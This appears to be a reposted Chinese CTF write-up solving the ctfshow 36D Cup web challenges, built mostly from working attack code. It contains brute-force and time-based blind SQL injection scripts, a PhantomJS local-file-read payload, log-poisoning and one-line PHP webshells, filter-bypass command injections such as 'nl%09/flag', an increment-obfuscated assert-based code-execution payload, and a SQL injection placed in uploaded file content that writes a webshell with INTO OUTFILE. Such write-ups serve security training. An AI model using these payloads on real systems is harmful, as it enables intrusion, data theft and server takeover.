当前位置:   article > 正文

ctfshow-web 36D杯_ctfshow web 36d杯

ctfshow web 36d杯

目录

给你shell

WEB_RemoteImageDownloader

ALL_INFO_U_WANT

WUSTCTF_朴实无华_Revenge 

Login_Only_For_36D

你取吧

WUSTCTF_朴实无华_Revenge_Revenge 

你没见过的注入

给你shell

提示:0006464640064064646464006406464064640064006400000000000
  1. function haveFun($_f_g) {
  2. $_g_r = 32;
  3. $_m_u = md5($_f_g);
  4. $_h_p = strtoupper($_m_u);
  5. for ($i = 0; $i < $_g_r; $i++) {
  6. $_i = substr($_h_p, $i, 1);
  7. $_i = ord($_i);
  8. print_r($_i & 0xC0);
  9. }
  10. die;
  11. }
  • 根据代码得知,haveFun()函数的逻辑是将数字全部变为0,字母位64。(实验后就会发现)
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";

将$flag_md5与我们传入的secret进行比较,根据返回结果,前面3位都是0,即前面3个都是数字,在由php是弱语言,这里进行的是弱比较,换句话说,secret在100~999之间。 

  1. import requests
  2. url = 'https://86b8442f-7f60-4060-849b-b239c3234857.challenge.ctf.show/?give_me_shell'
  3. i = 100
  4. while True:
  5. cookie = {
  6. 'PHPSESSID': 'c2jdlheiu8udsu06gfgqruvf0v',
  7. 'secret': '{"secret":' + str(i) + '}'
  8. }
  9. r = requests.get(url, cookies=cookie)
  10. if '0006464640064064' not in r.text:
  11. print(r.text)
  12. print(i)
  13. break
  14. i += 1

secret=115 

here is your webshell: w3b5HeLLlll123.php

得到一个文件,访问:

  1. <?php
  2. error_reporting(0);
  3. session_start();
  4. //there are some secret waf that you will never know, fuzz me if you can
  5. require "hidden_filter.php";
  6. if (!$_SESSION['login'])
  7. die('<script>location.href=\'./index.php\'</script>');
  8. if (!isset($_GET['code'])) {
  9. show_source(__FILE__);
  10. exit();
  11. } else {
  12. $code = $_GET['code'];
  13. if (!preg_match($secret_waf, $code)) {
  14. //清空session 从头再来
  15. eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
  16. } else die('hacker');
  17. }
  18. /*
  19. * When you feel that you are lost, do not give up, fight and move on.
  20. * Being a hacker is not easy, it requires effort and sacrifice.
  21. * But remember … we are legion!
  22. * ————Deep CTF 2020
  23. */

测了部分fuzz(不全,参考):

  1. 非法字符:['flag', 'system', 'exec', '`', 'filter', 'include', 'include_once', 'shell_exec', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'highlight_file', 'phpinfo', 'highlight_file', '^', '$', '*', '+', '\\', '|', '(', ')', ';']
  2. 合法字符:['passthru', 'eval', 'php', 'require', 'require_once', 'proc_open', 'popen', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'show_source', 'assert', 'assert_options', 'highlight', '.', '?', '{', '}', '[', ']', '<', '>', '!', '=']
  • 经过测试,由于()被过滤,不能用passthru函数等来执行命令,且`被过滤,也不能用`command`来执行。使用这里用段标签来闭合执行php命令。首先闭合前面$_SESSION[,然后给他赋值。
  • 因为空格被过滤,那么<?php 也用不了,那么就<?=来执行,相当于echo。
  • 又因为flag被过滤,使用用取反来绕过。
    <?=urlencode(~"/flag.php");
  •  最后闭合标签。
?code=]=1?><?=require_once~%D0%99%93%9E%98?>

WEB_RemoteImageDownloader

CVE-2019-17221、PhantomJS任意文件读取

将代码放入自己的服务器上,然后用php或者python开始一个web服务,让靶机访问即可。

  1. <html>
  2.  <head>
  3.  <body>
  4.  <script>
  5.  x=new XMLHttpRequest;
  6.  x.onload=function(){
  7.  document.write(this.responseText)
  8.  };
  9.  x.open("GET","file:///flag");
  10.  x.send();
  11.  </script>
  12.  </body>
  13.  </head>
  14. </html>

ALL_INFO_U_WANT

通过目录扫描,发现index.php.bak ,下载:

  1. visit all_info_u_want.php and you will get all information you want
  2. = =Thinking that it may be difficult, i decided to show you the source code:
  3. <?php
  4. error_reporting(0);
  5. //give you all information you want
  6. if (isset($_GET['all_info_i_want'])) {
  7. phpinfo();
  8. }
  9. if (isset($_GET['file'])) {
  10. $file = "/var/www/html/" . $_GET['file'];
  11. //really baby include
  12. include($file);
  13. }
  14. ?>
  15. really really really baby challenge right?

然后访问:

all_info_u_want.php?all_info_i_want

open_basedir没有设置,换句话,可以进行目录穿越,访问日志文件:

?file=../../../../..//var/log/nginx/access.log

在User Agent中包含我们的恶意代码。

<?php system('ls /');?>

发现flag,但访问后flag不对。

那么我们对,换一句话木马,然后对文件内容进行过滤,找出文件中包含ctfshow{的内容:

  1. User Agent:
  2. <?php eval($_POST[1]);?>
  3. post:
  4. 1=system('find /etc -name "*" | xargs grep "ctfshow{"');
  • xargs: 用于将前一个命令的输出作为后一个命令的参数。

session条件竞争这里用不了,

session.upload_progress.enabledOff

,可通过phpinfo可以看到。

pearcmd.php也不行,爆ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini。看了配置文件发现:

register_argc_argvOff
?+config-create+/&file=../../../../..//usr/local/lib/php/pearcmd.php&/<?php system('ls');?>+/tmp/hello.php

通过别人的wp,发现还可以包含临时文件,phpinfo与条件竞争进行getshell。

p神文章:Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

PHP会在脚本执行结束后删掉临时文件,而 段错误方法就是让PHP执行突然中止,这样临时文件就保留了。

既然 " PHP会在 脚本执行结束后删掉临时文件 ", 不让PHP的脚本执行结束,这样不就行了嘛?,只要自身包含自身就会进入死循环中。 死循环 要么被用户打断,要么被nginx超时掉,PHP 执行没有结束,临时文件不就 得以保存了吗?

这个自己包含自己,总是进入自己哪里就是死循环了。我们访问all_info_u_want.php,然后include 又是all_info_u_want.php,然后就进入了死循环了。

index.html: 

  1. <html>
  2. <form action="http://8bc2a03c-e3dc-44f2-8b28-590a00d68cb8.challenge.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="post" enctype="multipart/form-data">
  3. <input type="file" name="filename">
  4. <input type="submit" value= "submit">
  5. </form>
  6. </body>
  7. </html>

a.php: 

  1. <?php
  2. eval($_POST['cmd']);
  3. ?>

 用自己的服务器启动一个http server,访问,将a.php作为发送即可。

php -S 0.0.0.0:7777

查看$_FLIE即可看到文件名:

最后通过访问tmp文件即可getshell。 

 

WUSTCTF_朴实无华_Revenge 

level1:

$numPositve === $numReverse

传入类似100.001这样就可以绕。

!isPalindrome($num)

该函数的逻辑大概就是将整数与回文数进行逐位比较,只要有一位不同就返回0。我们只要在刚才的数后面加一个0即可。

  1. num=999.9990
  2. 还还可以传入num=-0.0

level2:根据php的特性,只要开头为0e即可满足条件。

  1. <?php
  2. //这里我同时开了两个跑,从1开始,逐步开始,节省时间。
  3. $i=1500000000;
  4. while(1){
  5. $md5="0e$i";
  6. $md52=md5(md5($md5));
  7. if($md5==$md52){
  8. echo $i;
  9. break;
  10. }
  11. if($i%1000000==0){
  12. echo $i."\n";
  13. }
  14. $i++;
  15. }
  16. ?>
  1. md5=0e1576609003
  2. md5=0e1138100474//另一个跑的

level3:

这里看到了过滤空格,本来想用:{ls,/}这样的方式来绕过,却不行,不知道为什么,所以还是选择用%09或者<(重定向)来绕过。

  1. get_flag=nl%09/flag
  2. get_flag=nl</flag
  3. get_flag=ca''t%09/flag
  4. get_flag=c\at%09/flag
  5. get_flag=rev%09/flag|rev

Login_Only_For_36D

首先进行fuzz测试,看过滤的字符:

  1. 非法字符集: ['select', 'information_schema', 'union', 'and', 'ascii', 'mid', 'substr', 'substring', 'handler', 'updatexml', 'update', '&', '|', "'", '--', '=', '<', '>', ' ']
  2. 通过: ['table_name', 'table_schema', 'tables', 'column', 'or', 'sleep', 'where', 'from', 'limit', 'group', 'by', 'like', 'regexp', 'prepare', 'as', 'if', 'char', 'ord', 'length', 'left', 'right', 'extractvalue', 'benchmark', 'insert', 'all', 'for', '@', '#', '^', '*', '"', '~', '`', '(', ')', '{', '!', '/', '\\', '+', '%', '_', ',']

1、 

  1. import requests
  2. import time as t
  3. url = 'https://34dfce48-22cb-436b-93e2-98b355277507.challenge.ctf.show/index.php'
  4. list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  5. passwd = ''
  6. # 没有回显,所以用时间盲注
  7. # select * from user where username='admin\' and password='or if((password regexp binary "^passwd_part"),sleep(3),1)#'
  8. # binary能够匹配大小写
  9. for i in range(16):
  10. for char in list_char:
  11. passwd_t = passwd + char
  12. payload = 'or/**/if((password/**/regexp/**/binary/**/"^' + passwd_t + '"),sleep(2),1)#'
  13. data = {
  14. 'username': 'admin\\',
  15. 'password': payload
  16. }
  17. start = int(t.time())
  18. requests.post(url, data=data)
  19. end = int(t.time())
  20. if end - start >= 2:
  21. passwd += char
  22. print(passwd)
  23. break

2、 

  1. import requests
  2. url = 'https://34dfce48-22cb-436b-93e2-98b355277507.challenge.ctf.show/index.php'
  3. list_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  4. passwd = ''
  5. # 没有回显,所以用时间盲注
  6. # right()函数用于从字符串的右侧返回指定数量的字符
  7. # select * from user where username='admin\' and password='or if((right(password,i) regexp binary "passwd_rev"),sleep(3),1)#
  8. for i in range(16):
  9. for char in list_char:
  10. passwd_rev = passwd + char
  11. payload = f"or/**/if((right(password,{i})/**/like/**/binary/**/\"{passwd_rev[::-1]}\"),sleep(2),1)#"
  12. data = {
  13. 'username': 'admin\\',
  14. 'password': payload
  15. }
  16. try:
  17. requests.post(url, data=data, timeout=1)
  18. except:
  19. passwd += char
  20. print(passwd[::-1])
  21. break

这里的regexp可以用like代替,相应时间根据你们的网络来设定。

password=ILoVeThlrtySixD

 登录即可获得flag。

你取吧

1、利用$_数组进行变量拼接。

  1. ?code=`$_[12]$_[13] /*` --> `nl /*`
  2. ?code=`$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]` --> `nl /flag`
  3. ?code=1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$__("$_[12]$_[13] /$_[5]$_[13]$_[0]$_[6]");(1 --> 1);system("nl /flag");(1

2、php文件上传。

  1. POST /?code=1)?><?=`.+/???/??????[@-[]??`?> HTTP/1.1
  2. Host: 865eb38d-d709-4173-a025-625208c85cc3.challenge.ctf.show
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate, br
  7. Connection: close
  8. Referer: http://865eb38d-d709-4173-a025-625208c85cc3.challenge.ctf.show/
  9. Upgrade-Insecure-Requests: 1
  10. Content-Type: multipart/form-data; boundary=this_is_boundary
  11. Content-Length: 159
  12. --this_is_boundary
  13. Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
  14. Content-Type: text/plain
  15. #!/bin/sh
  16. cat /flag
  17. --this_is_boundary--

3、自增:

  1. <?php
  2. $_=[];
  3. $_=@"$_"; // $_='Array';
  4. $_=$_['!'=='@']; // $_=$_[0];
  5. $___=$_; // A
  6. $__=$_;
  7. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
  8. $___.=$__; // S
  9. $___.=$__; // S
  10. $__=$_;
  11. $__++;$__++;$__++;$__++; // E
  12. $___.=$__;
  13. $__=$_;
  14. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
  15. $___.=$__;
  16. $__=$_;
  17. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
  18. $___.=$__;
  19. $____='_';
  20. $__=$_;
  21. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
  22. $____.=$__;
  23. $__=$_;
  24. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
  25. $____.=$__;
  26. $__=$_;
  27. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
  28. $____.=$__;
  29. $__=$_;
  30. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
  31. $____.=$__;
  32. $_=$$____;
  33. $___($_[_]); // ASSERT($_POST[_]);
?code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
  1. post:
  2. _=system(cat /flag);

WUSTCTF_朴实无华_Revenge_Revenge 

?num=100000000.0000000010&md5=0e1576609003&get_flag=ca\t%09flag.ph\p

第一个level由php浮点精度来绕过。第3个level还是可以用\来绕过。

  1. <?php
  2. $num=100000000.0000000010;
  3. $numPositve = intval($num);
  4. echo $num;
  5. var_dump($num != $numPositve);
  6. ?>

你没见过的注入

根据提示,我们访问robots.txt,得到,pwdreset.php,修改密码。

然后就是文件上传,但是我到这里确实不会了,文件马这些貌似都不得行。

问了群主,发了一个文件给我,内容大概就是:

 实际上就是一个马。<?=`$_GET[1]`?>

C64File"');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

把这个话写入文件,什么jpg,png什么的应该都可以的。 

最后访问1.php即可:

i.php?1=cat /flag

upload.php: 

  1. <?php
  2. error_reporting(0);
  3. if ($_FILES["file"]["error"] > 0)
  4. {
  5. die("Return Code: " . $_FILES["file"]["error"] . "<br />");
  6. }
  7. if($_FILES["file"]["size"]>10*1024){
  8. die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
  9. }
  10. if (file_exists("upload/" . $_FILES["file"]["name"]))
  11. {
  12. echo $_FILES["file"]["name"] . " already exists. ";
  13. }
  14. else
  15. {
  16. $filename = md5(md5(rand(1,10000))).".zip";
  17. $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
  18. $filepath = "upload/".$filename;
  19. $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
  20. move_uploaded_file($_FILES["file"]["tmp_name"],
  21. "upload/" . $filename);
  22. $con = mysqli_connect("localhost","root","root","ctf");
  23. if (!$con)
  24. {
  25. die('Could not connect: ' . mysqli_error());
  26. }
  27. if (mysqli_multi_query($con, $sql)) {
  28. header("location:filelist.php");
  29. } else {
  30. echo "Error: " . $sql . "<br>" . mysqli_error($con);
  31. }
  32. mysqli_close($con);
  33. }
  34. ?>

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/676554
推荐阅读
相关标签
  

闽ICP备14008679号